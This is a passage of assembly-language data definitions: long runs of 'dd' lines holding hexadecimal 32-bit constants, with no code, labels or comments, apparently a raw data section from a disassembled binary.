dd 0F8F60355h, 0A3DEE4Fh, 5D75C60Ch, 845112C3h, 76C3B394h
dd 10960A4Ch, 810E2B66h, 16FCEFCDh, 1D1081Ah, 5152A142h
dd 0D89D89C8h, 0E834C3B4h, 0A6A21CDFh, 0C057939Fh, 550CBD6Fh
dd 2F73F43Dh, 80AD05B4h, 0D1F610C1h, 568F0A9Fh, 0C904C5B7h
dd 62954264h, 0B317FBFAh, 0F9C3E1C0h, 8204843Ch, 0D8010477h
dd 688942BAh, 8F5E1FCAh, 1385B79h, 147DE9F0h, 8C0DDC8h
dd 5412C2FBh, 21399DC5h, 60310853h, 685C0D06h, 59E3C85h
dd 682F6948h, 546CE994h, 9C19BFCh, 75770CD2h, 0E4E06500h
dd 9FCB6Fh, 0AFBB53FBh, 0CFF2423h, 8C8D1F2Fh, 0DD0C0696h
dd 5A0B1903h, 9A5BDA01h, 52545CD3h, 27157A56h, 92FC4DACh
dd 0F4E586A8h, 0D130E951h, 94F5EB49h, 824A485Fh, 0F6EE410h
dd 42C2BD55h, 7C4D7652h, 3D2728B1h, 113B6A84h, 736CE503h
dd 0C791321h, 2AEA5805h, 0CD520BE9h, 379C5E04h, 62CFB900h
dd 50B02B83h, 0BBACD40h, 4DB53471h, 58008829h, 41B1087Ch
dd 0F4E28125h, 0E93102FFh, 0F14546E3h, 2E0E9828h, 2421AB08h
dd 4CC55EF0h, 77ADF450h, 8AEDB92Bh, 1ED0425h, 0FC4F0945h
dd 103493DEh, 3E483CF8h, 0B870C04Ah, 5F2819C2h, 0F440E972h
dd 0AE82DC1h, 26A82B8Eh, 0B127FA2Ch, 0A87D6E88h, 51D3E102h
dd 0AB804569h, 1BD2FC03h, 2BA58297h, 0E55C05B6h, 88DEE05Bh
dd 5A00F578h, 0A5B55153h, 582883B7h, 0AF19BCEFh, 92D8C577h
dd 0E9441194h, 8B1E20A5h, 0D22ABAh, 2EE5E304h, 77C36A38h
dd 6810B0C1h, 5BDD2F01h, 5A8301A8h, 6850BA76h, 8D224BC5h
dd 352E336Dh, 0F00C43F2h, 3EF3F5B2h, 0C98BF45Dh, 4BE6DA29h
dd 0F005589Ch, 0D8819474h, 0D454B113h, 1CD3F7C5h, 0C44B5F1Fh
dd 0AEF980B5h, 777E174Dh, 1381222h, 0B1F305F6h, 76F789B7h
dd 55E90C45h, 41C7BB23h, 709E83Bh, 0D0F60AC3h, 5866E088h
dd 0EDF87286h, 0DA6547FDh, 16463020h, 0B0628C64h, 0F572D9FEh
dd 9C89CE28h, 4D09EDF2h, 5471FC02h, 4E08A049h, 0CDF1A458h
dd 2D596909h, 84B10029h, 0D8383405h, 0E4E401Eh, 3694724h
dd 14D24288h, 3710EA31h, 60A04E79h, 0B52840A5h, 0E2CD504Eh
dd 0FA7C9BE5h, 2D028D48h, 30EB2640h, 287CF3E1h, 0FEEEC4B1h
dd 2557F640h, 0F5FC2B3Eh, 0DE5C88FAh, 67EB81D4h, 31684A11h
dd 0ED27C912h, 0B9A9B48Fh, 0A910454Ch, 264F5008h, 2D976495h
dd 7A3114E8h, 0E67A7506h, 0B58F454h, 0E3D1D9F5h, 0D510615Eh
dd 0D206FD9h, 94759768h, 0D04763BFh, 9A9BC55Ah, 0B569B878h
dd 2F14609h, 7E1A6885h, 0D1019735h, 3D7153B7h, 0E9CF473Bh
dd 0A9D119CCh, 0C2B3873Fh, 0F5D490B0h, 585C3391h, 0BE023560h
dd 0A4E97827h, 658D104Fh, 0B959912Fh, 4B056D4Bh, 607C5044h
dd 8990A91Fh, 19441452h, 0A1092BB0h, 0C072C011h, 2E42748Dh
dd 0E573F5h, 0E6B55413h, 0F8CAD589h, 840BC9EFh, 0AE4E31h
dd 9DE379B9h, 0E9D901DCh, 1DCB225Dh, 0DFD63924h, 0D79E0AF2h
dd 87095210h, 15708279h, 17CEBBB0h, 0B853C30Dh, 0B600BD0h
dd 0DA8181D8h, 5F85A577h, 36FB801h, 8C2014D5h, 0E70DD66Dh
dd 5F0C4892h, 35AB5474h, 0D34BA6F7h, 196CFB0Ch, 0DFAB90D8h
dd 0B1DB163Bh, 0D813389Ch, 83E47AACh, 0E02C7791h, 0ED3AEC1h
dd 4729A271h, 0C54158D1h, 4B235A7Dh, 7692478h, 0B850602Bh
dd 8E3C21F9h, 0F9C6A462h, 5F9FC125h, 315CA592h, 2F173393h
dd 6F7CCE98h, 0C0B580AFh, 21584725h, 47278585h, 66498852h
dd 823C372Ch, 29547D4Bh, 6F1754D8h, 505D005h, 4172E90Fh
dd 88535181h, 7E63CAC3h, 0F440EEAAh, 0AF9A4885h, 37720526h
dd 12368AC3h, 5F58010h, 0C8401B21h, 491296A9h, 351E6C3Eh
dd 8F08513Fh, 0AC663C1Ch, 3E120C21h, 0A1E1F442h, 3BC087E9h
dd 1179441h, 84EF7C07h, 13590FF0h, 8C54B168h, 6B0BEA6Dh
dd 50311C5Eh, 208C850Bh, 44FAB1ACh, 0C3141183h, 3D1505E9h
dd 7509F1C5h, 2576787Dh, 0B9515A00h, 3254A29h, 6E1C140h
dd 0AF8C5FE9h, 0C7210A39h, 0B8011B28h, 5E307715h, 0BC092E21h
dd 5A0EC142h, 5D1053Dh, 0F02AAB58h, 8A180FFh, 5FE20D51h
dd 0CCD101h, 0F2685A08h, 13CD2F56h, 1DCD29FDh, 2CF0F301h
dd 0E8598D2Fh, 1A4A1471h, 41A6DBD8h, 33FD0343h, 0AD2C7F1Ch
dd 0BCCAC31Fh, 0DF41F124h, 8F44560Ah, 0A8BA5880h, 37F83F55h
dd 161BF203h, 0FEA460Bh, 2B29D5E9h, 0C1842367h, 21C457FCh
dd 0B142A8C8h, 0B78917A9h, 2B7C5AD6h, 88390959h, 0DC44072h
dd 0F44D0A09h, 704A0445h, 0B9736807h, 0D9C96BF6h, 0B8B844FBh
dd 2D46C218h, 0E0F3858Dh, 0D74B83FCh, 0ACAD93CDh, 8734125Ah
dd 6EB26B85h, 22E52318h
dd 0D1261B9h, 382D4C04h, 0D99F4B3Bh, 30908DD8h, 652D400Fh
dd 2A67667Eh, 0C78CA117h, 55F04802h, 5DFC2D04h, 13EB1A47h
dd 0C496AC1Bh, 0BDA199E9h, 59877452h, 61791265h, 71D2D14h
dd 464D3CD2h, 419890ABh, 25012A2Ch, 5902501h, 55670B3Fh
dd 0ECF08F8Bh, 534DDC98h, 0E28817AEh, 6BA41AC1h, 0F9B97350h
dd 68B40C79h, 7820C829h, 1634C55Bh, 48E7C582h, 1ED2F72Eh
dd 0A4C1D187h, 2D141B49h, 9382FE82h, 5A4666F3h, 20D5C2B7h
dd 59CE31FCh, 5EF07A89h, 68873227h, 969EF5C4h, 79595550h
dd 9AC7005Dh, 0E9215331h, 0BA966E60h, 80ADD0A7h, 3C6C1ECDh
dd 68CC2EBEh, 98C66D27h, 9FDF022Ch, 0AB9D066Fh, 68BA0410h
dd 807B703Eh, 5F2F668Ch, 98803F5Ah, 18D0EEF7h, 66D189BBh
dd 7F26E9CAh, 3151283Eh, 639D0B7Fh, 0B642BABh, 0C1195876h
dd 0D01402E8h, 64FF05F4h, 471C489Ch, 386127CFh, 61314F0Bh
dd 7DE25DFCh, 98C9765Ch, 0D12E09B1h, 95F841E1h, 66C7362Dh
dd 0FBC2952Ah, 0BA4237D9h, 61B8DE02h, 237B8C68h, 57625AA6h
dd 92916558h, 8CCFAC5Ch, 40C34254h, 136E90Ah, 94FED4Ch
dd 50512FB4h, 4802305h, 9106E9F8h, 341CF79Bh, 0AA40E201h
dd 5A8D12BBh, 0DF86C0ECh, 1F185325h, 0FD10E3D1h, 128D7866h
dd 16DBF743h, 5965C133h, 0A733028h, 0FE10AD63h, 3AD621CEh
dd 2AB25280h, 62F6E2D0h, 35E904DAh, 0BA2D5156h, 8E6968E7h
dd 25869322h, 32CAE891h, 0DBCDD279h, 0B7D07C53h, 5366E120h
dd 28711DB7h, 205B84F9h, 9E5B3C8h, 79479C68h, 9BC549BBh
dd 5FEDE905h, 377F3CD9h, 57E5329Ah, 2058577Ch, 51BF1344h
dd 214C25Dh, 2992DC40h, 0E4715F81h, 0BE05473Ch, 80DE77CEh
dd 0C0F8C6F2h, 5180A04Bh, 0B4A6118Dh, 1CA10052h, 2BE9697Eh
dd 91BD0940h, 8265A72Ah, 9C499EACh, 402190F2h, 0DE483031h
dd 0DDEF2A98h, 24FE9190h, 2F670F55h, 0F3B4A39h, 8F7868E0h
dd 0CA782BEEh, 889A29F4h, 34CB594Bh, 44D1CD4Eh, 68D102C5h
dd 517C5636h, 466ABD42h, 8D050097h, 2910FA45h, 7A32DF8h
dd 4A34A9A8h, 0BC052302h, 0FC753B3Ah, 4236A473h, 5707B72Ch
dd 47A14C64h, 6109C501h, 75238E2Ah, 0CFC8605Bh, 0FCC1955Ah
dd 0A7C94357h, 0D906B2A1h, 30B9595Fh, 342E5CEAh, 5E39EEBEh
dd 60818F09h, 181BCF95h, 9F5B7C2Eh, 6B4A95E9h, 2ABA92D0h
dd 96A02C8h, 0EBD159CBh, 452ADE1h, 0BDCB14BFh, 0E3F38107h
dd 0A1FF0569h, 2A9E2E7Dh, 2A12B34Fh, 5658D2D0h, 0DF1632B5h
dd 0FF2641CBh, 3AEDAB87h, 0DC9E1772h, 0B2593D82h, 0B104963Bh
dd 3AE2AC86h, 0DCD95425h, 2CEAC764h, 0BA168E4h, 0CC822B5Eh
dd 67395757h, 0DE843B5Ch, 47B327D4h, 6966DE40h, 1AA37DCAh
dd 73020B29h, 7E1D20EBh, 20C7F874h, 883BFADBh, 58EA94DCh
dd 7BC3814h, 0DF01404Ch, 0F0F8A7D5h, 0A813D85Bh, 0E10B1C55h
dd 0C3092F19h, 0AD25595Bh, 69271B52h, 0F0E1E4D5h, 10F96BB7h
dd 9801BD51h, 92DAD07h, 1B4CE272h, 0DD56B44Bh, 8C20BE90h
dd 0C8295F6Fh, 0C15EED83h, 0E8EF8BDDh, 9C0C6068h, 0BD062F5h
dd 58A01877h, 0AF3B919h, 0ADE3A7F0h, 0A0397753h, 80305EB3h
dd 5AAD6861h, 91A81099h, 95387620h, 5CD9269Bh, 563A92CEh
dd 703B5E01h, 0DAF11EF1h, 5D5D2764h, 0D5004B5Ah, 0BF0F581h
dd 2B91C253h, 0D8916212h, 0BF2D3EBAh, 99692207h, 30B9B267h
dd 0C87C9B52h, 8B234715h, 8BDD24AFh, 80B4B781h, 0C7CC59F7h
dd 0F8883F6Fh, 8BE998A6h, 403315Fh, 0D32C0839h, 3F1080E3h
dd 29D32816h, 5BCB173Eh, 34995758h, 1DF1C06Eh, 137C2F3Eh
dd 0AC0AC5E9h, 0A9BFA799h, 542501Eh, 3217F4BEh, 6921F4Ch
dd 463D1C7Bh, 0DA79D9EBh, 76D51860h, 0C10EA3B8h, 894206E2h
dd 316DEEAh, 36B907D0h, 1C68D0B7h, 0E917378Ch, 8564AE4h
dd 0ED03E40Ah, 0AB0F8996h, 0B248308Ch, 29737898h, 56286F01h
dd 316425BEh, 3DEE81DCh, 378576A6h, 8304E6C1h, 0F5E8093Ah
dd 9DFFD15Dh, 15CF0B10h, 5EF1860Ch, 39F307B8h, 0DAE97B7Fh
dd 0E1358093h, 89D5A1E6h, 0F307C74Fh, 15713F94h, 0B821FB01h
dd 14940804h, 74BA3DAEh, 9934E9B9h, 4FAA5CA6h, 0B34F5830h
dd 52BF62D6h, 616AE571h, 38814D38h, 27771ED4h, 0B2F040D3h
dd 25B39054h, 0A5168C1h, 59BE4043h, 0FC930F24h, 2051C986h
dd 1817D075h, 5BE7B4Bh, 311A3C3Fh, 811B20CEh, 0CCE174E6h
dd 0A190461Fh, 52ECF225h, 0AB642D88h, 75982AA0h, 893F3C30h
dd 6875BFAh, 0C013DB74h, 785E6D53h, 0C36047F6h, 511ECF17h
dd 0B2104C49h, 8517A703h, 0BBB5831Ah, 18027F0Ch, 846524CBh
dd 0FA908B5h, 0D6295F09h, 0B6E9701Ch, 76A2FF4Bh, 0B0344F58h
dd 0ACE8E810h, 5A6140EAh, 2A4A33FCh, 0E348B4E3h, 0D05A3049h
dd 1839BC03h, 4A3C2240h, 5890E73Fh, 73125A48h, 38AA9602h
dd 8204D7FEh, 0B977D063h, 8248313Ch, 3CE54A64h, 0A0F3CA20h
dd 0B57EE90Ch, 4AEC5F0Bh, 681EC9B9h, 2FE30A92h, 0F9620605h
dd 80808055h, 0B5D5710h, 43FA40D7h, 5BE14504h, 8380D1F7h
dd 50C02622h, 188D8E33h, 3AD47ADBh, 6C0A2E6Eh, 95CD2953h
dd 0EC650110h, 8250AAC3h, 40B64A8Dh, 0DB408C18h, 35005190h
dd 0E1814948h, 90DC2998h, 13E973D6h, 1613EC26h, 6BCEB1FDh
dd 574B0A1Fh, 5C764633h, 4F25BD56h, 83B2FF47h, 0C001CA5Eh
dd 274C9166h, 3B680DA9h, 7519FFC5h, 81265B5h, 18D7DF30h
dd 1E1E262Eh, 0BC3901E5h, 5DEA96E1h, 9AE9FA80h, 0E91997BBh
dd 103E62D3h, 5A25A4B2h, 32A50A40h, 1B0A6283h, 28FE5450h
dd 3F913CE5h, 5A722DF2h, 870CC626h, 37E5CD80h, 7048BF5h
dd 0C5550E22h, 40AEB96Bh, 0CE2DED1Fh, 0D63FF757h, 0C607134Eh
dd 5C26BEA2h, 0AE600DCh, 0EB35563Ch, 3B0059F4h, 0D1F60540h
dd 9801929Ah, 5F6A9869h, 19F34807h, 88990492h, 0BDCC2460h
dd 0D2C89991h, 32CA06DDh, 939E82E7h, 0B0E5D911h, 599D9C2Bh
dd 9765F8h, 9C7205ABh, 3598005Bh, 2877EFCh, 0D573F795h
dd 0D4902D4Ah, 6E8C1h, 15864235h, 68FBE974h, 5BD738BDh
dd 288E0E04h, 0E9822CE8h, 33DF0EAEh, 3E296CF3h, 291B581Bh
dd 0BC994047h, 3E9A29BBh, 8201C98Ch, 0FCF6905Fh, 537BBFDh
dd 315F5457h, 6259CF19h, 10E2D005h, 0BF05EE71h, 8095FA0Eh
dd 2C18EF22h, 5266912Dh, 6B0883C5h, 155ABAA3h, 5201C301h
dd 0D8319259h, 6878286Fh, 538D935Bh, 2C7640E0h, 59F94233h
dd 0E6C92F01h, 40B9220Ch, 0F829E948h, 8018917h, 417FDB42h
dd 123FED60h, 0AD03432Ah, 0EA7F5052h, 12D2F55Fh, 186C5457h
dd 18D13C4Eh, 89A54627h, 291080C9h, 2E2D6449h, 0BAA6D787h
dd 2DB8650h, 1837EA2h, 0A07D5FF9h, 1D13FB69h, 0ABE5B54Fh
dd 12F35E88h, 4EC8E65Ch, 4129E0C8h, 5A4B24EFh, 9F6D1495h
dd 517B2616h, 69B5BBA4h, 0EADB29A7h, 243C544Ch, 5EA21000h
dd 0D90FA084h, 26A86B30h, 16735A8Ah, 61719768h, 2E5C054Bh
dd 0D37CE188h, 17F4E9A1h, 42D2BF5Bh, 0B6544428h, 4A23280Dh
dd 5A870EFEh, 1A371432h, 0CC413900h, 1F68FD7Bh, 0D8CC624Ah
dd 607800EFh, 8EEC16Eh, 1B9415E9h, 0E9D0542Ch, 4141E3D1h
dd 2D689D1Ch, 368DBA5Ch, 68B352F9h, 4DFD0212h, 6D8209F8h
dd 4C093A7Dh, 97F5738Eh, 2A9260E6h, 0D516815h, 0BD379EAh
dd 8BC57F0Dh, 4CD3324h, 0E912BE04h, 3158D216h, 1C3137D0h
dd 0CC103F59h, 335B723Ah
dd 1DF47E25h, 0B0CD5A31h, 1431FD11h, 44FEBC8Ah, 80825F2Fh
dd 0D116D975h, 2E4C1E5h, 0C03980CFh, 28014934h, 72E9395Dh
dd 4DD6764Ch, 26EB5715h, 0EE81010Bh, 46DD1F34h, 38212A31h
dd 40590802h, 0F43B43A9h, 0BB530202h, 39F4B60h, 5CDCF782h
dd 1085B5Bh, 2EB80058h, 2D37923Dh, 7BF1F209h, 314527C2h
dd 0CF91E951h, 0D3B3413Bh, 0D85C6805h, 281899E7h, 7E760B02h
dd 5020061Eh, 2A5AD721h, 2F5F270Bh, 0E722013Ah, 0E88B463Eh
dd 0F490BF96h, 9A955C3Bh, 51B86967h, 6A8CF942h, 0AC097D02h
dd 21304250h, 9CE92DE8h, 42C29E61h, 88010690h, 0B21759C8h
dd 56DA563Ah, 3E2D2809h, 0F202861Ch, 9B314883h, 94159A2Ch
dd 42CEEBAh, 0A5D40984h, 0CDC881F9h, 57D06A17h, 2E751CEDh
dd 30166D4h, 496C77CDh, 5F8C0C1Ch, 0E94D0342h, 550168B6h
dd 42C12D68h, 5D4455D1h, 2941FDDDh, 0A76870E9h, 63685701h
dd 0E424FF54h, 550EFC1h, 0D504FDB1h, 0FE89081Ch, 0C6C330F2h
dd 0F6C9CCA1h, 34C96A21h, 82CEAC30h, 7090604Ch, 0CB55428h
dd 88D0A2BDh, 0D11C8202h, 20ED24F2h, 9D556A68h, 5C8DBDEDh
dd 5DDA9141h, 0C9014BA7h, 0EDDD7084h, 1CF7C53Ah, 1892F9F9h
dd 0D0E904EBh, 0B03C5296h, 3731A4DAh, 0A00F4AE7h, 4D382101h
dd 0CB899410h, 161D109Fh, 5B81040Fh, 0ADE8B00Bh, 0B20459F5h
dd 0EB8955C8h, 180072E8h, 0E94FE87Bh, 0CC970195h, 26C9C675h
dd 0F61441C5h, 7BBE480Bh, 2E21F531h, 0C0C070BDh, 0EEF906Dh
dd 0FAAF03BFh, 2936EAC0h, 0DBE77CFEh, 5408B641h, 6E27BB2Eh
dd 58BCF0B4h, 56140C12h, 44AE1704h, 884306FBh, 57410F41h
dd 164DC450h, 0A939516Bh, 9ED563Fh, 7B7C44B6h, 0C222D4CBh
dd 2B562ECFh, 0D5270662h, 0BE042A1Ch, 69667F38h, 0B23CAD88h
dd 0B36C9F96h, 3B02EB09h, 4A378214h, 0E56B8EA0h, 0FEE3C3BDh
dd 1DE22579h, 2D069CCEh, 7BA4D140h, 5AE912FAh, 26DC9636h
dd 11FC479Dh, 25E14C02h, 5121B9DFh, 52D2732Bh, 0E41FC02Fh
dd 0E4FE5B93h, 0F9555C8h, 0D0900057h, 0C5C12CE8h, 0FCF09B30h
dd 0DA0D9E21h, 0DA61109Eh, 8022E0FCh, 5724DBBAh, 0CA0102ADh
dd 180A1F28h, 3C84E2D8h, 0E98B692Eh, 0F94648F3h, 30B8A4C5h
dd 0DF4364C2h, 3E0E020h, 340BE125h, 56482E16h, 3B45003Ah
dd 47F38126h, 7AED29ECh, 339F314h, 24CC156Dh, 802EB601h
dd 58DD2908h, 407F4A5Bh, 5F4E512Dh, 7BF7C660h, 36F9240Fh
dd 622312D1h, 90DF5A7Fh, 0B30635FBh, 0DE9A0882h, 0E3C10Bh
dd 2BABC36Bh, 1A5B63h, 52BCCBC3h, 0E916333Ch, 22960547h
dd 7BB5077Ch, 7A8C380h, 4B5D5EEBh, 0D8201BE9h, 336D57BEh
dd 0E61FC1E2h, 0AC894602h, 78D5128h, 31515066h, 0DE2F0EB9h
dd 19603A70h, 60E9C860h, 0E29DC4CEh, 0FEC48006h, 0B1128ED0h
dd 3B17D601h, 49D2019Ch, 0EB1A033Ch, 45603C9Dh, 6B16CBBAh
dd 81B768A7h, 0C8B71712h, 0C8643BE7h, 0B956CD3Ch, 283007B8h
dd 0D76F20F6h, 5E2D4CEDh, 52F80846h, 3CB085Ah, 5CB0552Fh
dd 9F4F1FE9h, 70897D52h, 0E208C0DAh, 0DC251745h, 0F19E082Fh
dd 4416582Dh, 9F0AF30Eh, 0D601A12Ch, 5A3AD80Fh, 2A228C5Ah
dd 5FC660CAh, 0B96AADEEh, 0C5582E2Fh, 0F1E9053Bh, 0BB29EB5Bh
dd 0E984D82Fh, 7926622Dh, 551A5FDh, 0C05C6A2Fh, 0B7B0B343h
dd 0F79FD023h, 0A65D0C3Eh, 0A00C8658h, 50E8E73Eh, 7A14C803h
dd 0A76595Fh, 8C25827h, 0C45ECF6h, 0E028C14Bh, 0B722CAD7h
dd 5C4A159Ch, 9F67D82Ch, 0B0642785h, 9C41E41Fh, 8532F461h
dd 95E0F227h, 0B79057ADh, 132C1500h, 70E06812h, 0C804CB4h
dd 2D0D7F10h, 3F137B20h, 732CE92h, 31E88861h, 720CBBE9h
dd 946803F6h, 0E216E50Eh, 0A0CA6AB1h, 3B005F4h, 2FD77DA6h
dd 787AB624h, 0B254565Ch, 13A17B5Eh, 5ACB97CAh, 0C11E0B63h
dd 34A64D7Ah, 0DB963A98h, 0FEBE4C2h, 8D9518Ah, 0A623B9D0h
dd 0BE12A63Dh, 0AAB068ADh, 907FE637h, 40442CCDh, 6C522DC7h
dd 453B6509h, 26A30B79h, 605A5A0Fh, 0FEBBF116h, 204C446Dh
dd 9D683525h, 39052A04h, 6FBE5600h, 1F7B4325h, 5A50402Fh
dd 97ED4E10h, 0E0B2C441h, 0E8188394h, 67AB8702h, 0D95982EAh
dd 76858344h, 0B232B08h, 2240DF87h, 0DFCEA2F8h, 0E150EBE1h
dd 37801B1h, 5D30A44Eh, 0C5BD27A4h, 0FF5C0934h, 9BB87E68h
dd 2DD045C0h, 7CEB7776h, 20E4B64h, 3EBF68FBh, 9915B475h
dd 7CBC03CEh, 7A041E5Bh, 32393071h, 0AD29DA80h, 0CA504894h
dd 63423B01h, 0F9F7016Dh, 5E0842EFh, 74B7895Fh, 6C71256Ah
dd 5C0987E4h, 0B0C9ADFEh, 0A83AE9FEh, 4EF468DDh, 88522150h
dd 5A33C8C6h, 3E51C690h, 3D0B2E7Ah, 0BE13A040h, 7A3B64CEh
dd 409D5E62h, 2959CDD7h, 7D985DE8h, 0DD89025Eh, 32A48B38h
dd 96DD56F6h, 1C10131Ah, 0DD730EA8h, 0AC3924B2h, 0F949DF50h
dd 73C4DE18h, 6D27CEB0h, 0F6C23850h, 2034E304h, 5BF294Eh
dd 0F9E87BFBh, 50618552h, 53C487ECh, 0C9410E28h, 80F66014h
dd 202C17C6h, 0C2EA06F0h, 949D16FBh, 1A6E97C8h, 41EAA831h
dd 6EE12DF3h, 80DBFB75h, 0A16BC806h, 74105B0h, 1205FCE9h
dd 71E12190h, 5F5F022Bh, 0FF6152AEh, 864A4635h, 4855780Ch
dd 3AF70FFAh, 84B7B314h, 0C844AAC2h, 97504FF3h, 7B0B564Ch
dd 2F00792Ah, 4CDB94EDh, 0E9EBFCFDh, 1CF7C85Dh, 0D992CE87h
dd 252AF609h, 60BF58B2h, 6CD821BAh, 66E9C717h, 0D85CB34Bh
dd 581ABD52h, 422338DFh, 52B99770h, 163C6254h, 6D41E597h
dd 0C23FC9E3h, 0E34876Fh, 21DFFD42h, 9C2657Eh, 4D02D7C2h
dd 0C11B63A2h, 34514C21h, 0D6CB951h, 30E73D8Dh, 9802FCF6h
dd 0CA2934EBh, 744BC259h, 0C49126F5h, 36BDC053h, 3C4E3B5Ch
dd 6CF39AF4h, 252C1334h, 7B3F7001h, 87685653h, 5E71D0D7h
dd 9F29046h, 8761747h, 2F5BFE00h, 50904F0Ah, 20C0BC0Bh
dd 2D6E56D9h, 0F0C16550h, 0F934D8DEh, 17E00230h, 0D47BC802h
dd 5B080C3Ch, 0DE0DEF13h, 0C289F3Ch, 0A8F94404h, 0E9A04313h
dd 0D2D6DEC9h, 0FA26E0A9h, 130025E7h, 13B35358h, 0F6C3FE09h
dd 6E5C07DBh, 0B0C4E933h, 6B28D1C1h, 4FD810D9h, 1DBAA988h
dd 5CFA051Ch, 0A80950C4h, 0F6FCE9C2h, 0FEB9015Ah, 2A5D971Eh
dd 0CB40EC8Ah, 0CB141365h, 1C3EB02Ch, 0D602135Ch, 0ADF43416h
dd 24AA76C3h, 104907C0h, 33CB4044h, 1343A63h, 2DC07FC2h
dd 0D998AE15h, 4E4EAF68h, 0E5357D27h, 2D494B80h, 934964Ah
dd 0A746250Ah, 4F296590h, 0C52D0A22h, 34C52F9Eh, 60C3310Bh
dd 82989D0Ah, 0F40E7FC3h, 77E50F4Eh, 0D8AE9F04h, 84DE0104h
dd 26DB01C8h, 0EAC58309h, 0AD4DD1C1h, 8E1B61E1h, 0F65AEC3Ch
dd 0ED2C13ECh, 49DE6FECh, 3F721FEBh, 2C56E00Bh, 0BBC7328h
dd 0F1FEA85Ah, 96B0FD72h, 49CF09Ch, 6F8DFC49h, 506235C9h
dd 0F96D9202h, 0C64F9F5Eh, 3910D48Ch, 7C0AD788h, 0B1C0187h
dd 326CAE55h, 89E2595Eh, 58C2212Dh, 0F407C0CEh, 58E330B4h
dd 5245013Bh, 0EEF07CB6h, 51660101h, 0E91BB050h, 20003BF6h
dd 3C05BCB8h, 25402E3Bh, 10ED0E00h, 0E33A6584h, 37D616A2h
dd 97A9D0CCh, 0B57B7A89h, 5913CC25h, 4C7815B3h, 0C1C1D5FEh
dd 715603EBh, 0DB45AD3Dh, 5B69CB89h, 0B5C67854h, 0E95928EAh
dd 68E2DC24h, 71E01C45h, 5CF940BBh, 0AB60F0ECh, 3E0ED79h
dd 0E0465E31h, 0C305830Dh, 99BDE902h, 3FA555D1h, 6968F579h
dd 98BEA0E6h, 72059D6Dh
dd 7FAD8B54h, 1AB3AA26h, 5F59C883h, 56269268h, 5D7D603Dh
dd 7FD64D88h, 0A420AAE8h, 17A8BB3Ch, 0D314448Ah, 7AD404E7h
dd 0A4C00DF0h, 17E5CCE0h, 0DDF8930h, 28897737h, 71532DE1h
dd 8AA352C5h, 3040478Fh, 704A4A3h, 81E963A8h, 0A3E84A95h
dd 0D62F2A2Fh, 615C34A9h, 61170490h, 21CBBD0Dh, 0ACD2A774h
dd 0D36E44B9h, 3D824D94h, 28009F7h, 493F57BEh, 206B2758h
dd 2D5B3DCEh, 7BA2C3Fh, 2AB7C283h, 0E9A98929h, 375354Dh
dd 0D74004DAh, 964E79EFh, 0B5619A9Dh, 571C726Bh, 2D45637Ch
dd 0F8C957BEh, 0CC2B12BDh, 212168B3h, 0F45F4A1Ah, 96B0805h
dd 312D4000h, 4713A3Eh, 8CFF9A05h, 0FCFC2C0h, 89D58902h
dd 251B53CEh, 0E5428959h, 8E1155D0h, 17CDE457h, 5BBF0282h
dd 0A81099Ch, 0E17EF3EDh, 0A9C12B7Fh, 0D476CB94h, 0E829124Fh
dd 0A5E9C339h, 0B9EF4A22h, 285E7ACCh, 0BE85B12h, 0D2EB5CCEh
dd 99204A45h, 824CD916h, 0BECFBA00h, 343B4103h, 0AB5BD4E9h
dd 0EE44C521h, 8129242Ah, 1C709E2h, 0CE9E5952h, 5B4AA0A1h
dd 9F53CF3Ch, 35055F10h, 25684082h, 62BA70B3h, 0B42348F3h
dd 6861F707h, 0CC2E2D45h, 25A315Fh, 5D14B34h, 40069E7Ch
dd 7B9FE727h, 0F76686A1h, 0E91235F1h, 3FA5F60Eh, 962E17DCh
dd 7668631Eh, 0AB4B137Eh, 0D58482C4h, 0B6A1B6B8h, 6B53F5EDh
dd 0C00F2FCEh, 5A09D388h, 65D787h, 2AB551DEh, 0C570EDF0h
dd 0F82C6EF7h, 49FD4989h, 0D12C3348h, 4E520980h, 0EF8AF4F9h
dd 8160C794h, 241FFAF1h, 11697DBFh, 4F839DBh, 348B5830h
dd 4E952EFh, 1DF5FD4Ah, 5CA888Fh, 0B9AD498Ah, 6B7C68C2h
dd 50DB307Dh, 0BF420E9h, 1AC62927h, 40BF0DCh, 0E94D95DAh
dd 6933B1B8h, 0E6DCB483h, 68F140F0h, 0E6476627h, 0E3E49FE2h
dd 0C544F20h, 7B442D66h, 67DA508h, 2B80FB5Fh, 69C38058h
dd 0A10E060Dh, 0B25250C1h, 0DCF2F07Bh, 3EAC01Fh, 880EC2C2h
dd 0F71841D0h, 0E14D2E72h, 4FFA1A10h, 0EC521FC8h, 48787CA3h
dd 0FB20CD7Bh, 0EDC15A09h, 40F07603h, 2C87608Ch, 0E7B8CDE4h
dd 843F08DFh, 0D26B3CE2h, 5D8B0BA8h, 0A1BC6204h, 978F7ED1h
dd 59788051h, 0E2785024h, 4C43291h, 5D516703h, 878F5843h
dd 7B93E1E3h, 585BBAA0h, 12F0759h, 0C90103DBh, 5C8943D7h
dd 0C3E3802Fh, 2104FDBFh, 0B79FE9C8h, 3A262F8Dh, 5CC18101h
dd 0D848BF16h, 4006D7E9h, 0D9296ED1h, 4108831Ch, 59FB1472h
dd 0EC936B72h, 0BB149864h, 5AE63846h, 7109A0CAh, 0D925295Ah
dd 614E9EFDh, 4C830F4h, 92DAC6E0h, 0A063F899h, 95E1897Eh
dd 40A072C7h, 0A5414C98h, 1342F7FCh, 12A758h, 4424FCE1h
dd 3D2568EAh, 604C7E1Ah, 1F4A94BDh, 72313B2Dh, 2629D68h
dd 0C5E90C02h, 0ED84375Ch, 1053FFCh, 0C648C1EEh, 78976202h
dd 66686195h, 0DDEAA32Ah, 8CE7EA96h, 8262A35Fh, 7548C268h
dd 4202E399h, 32FCE922h, 3EED0CB5h, 0E420FA58h, 0B5FA30B2h
dd 0BEBD07BFh, 6D867990h, 8CE60C81h, 0F63CF738h, 7B04350Fh
dd 70EE8061h, 39E982BDh, 5F90F301h, 9B435BC1h, 0FA9EB753h
dd 4E2E697Ah, 50913480h, 0F329D7BCh, 0D3015E17h, 0A922E50Ch
dd 867004F2h, 0AB215FFFh, 9A1E27C8h, 0B7E595C7h, 82E25516h
dd 0E0AB7C4h, 0B021C4ACh, 954013A4h, 0D6998B09h, 0F2B2652h
dd 0C57C3F68h, 9AC25F44h, 6D660BC2h, 4E0B6698h, 8A470D74h
dd 820BFF1h, 0D2E95D12h, 0F280AA83h, 7C5A7F8Ah, 0EE289E39h
dd 137BB010h, 0CC6BB868h, 0BE4932BBh, 92011062h, 6806B803h
dd 0F9E8038Bh, 0FC5E7497h, 0D75675C2h, 13DE8180h, 35F20751h
dd 0F64A06A2h, 6A44F341h, 0FB5EAC09h, 0A956168Eh, 0C5532F66h
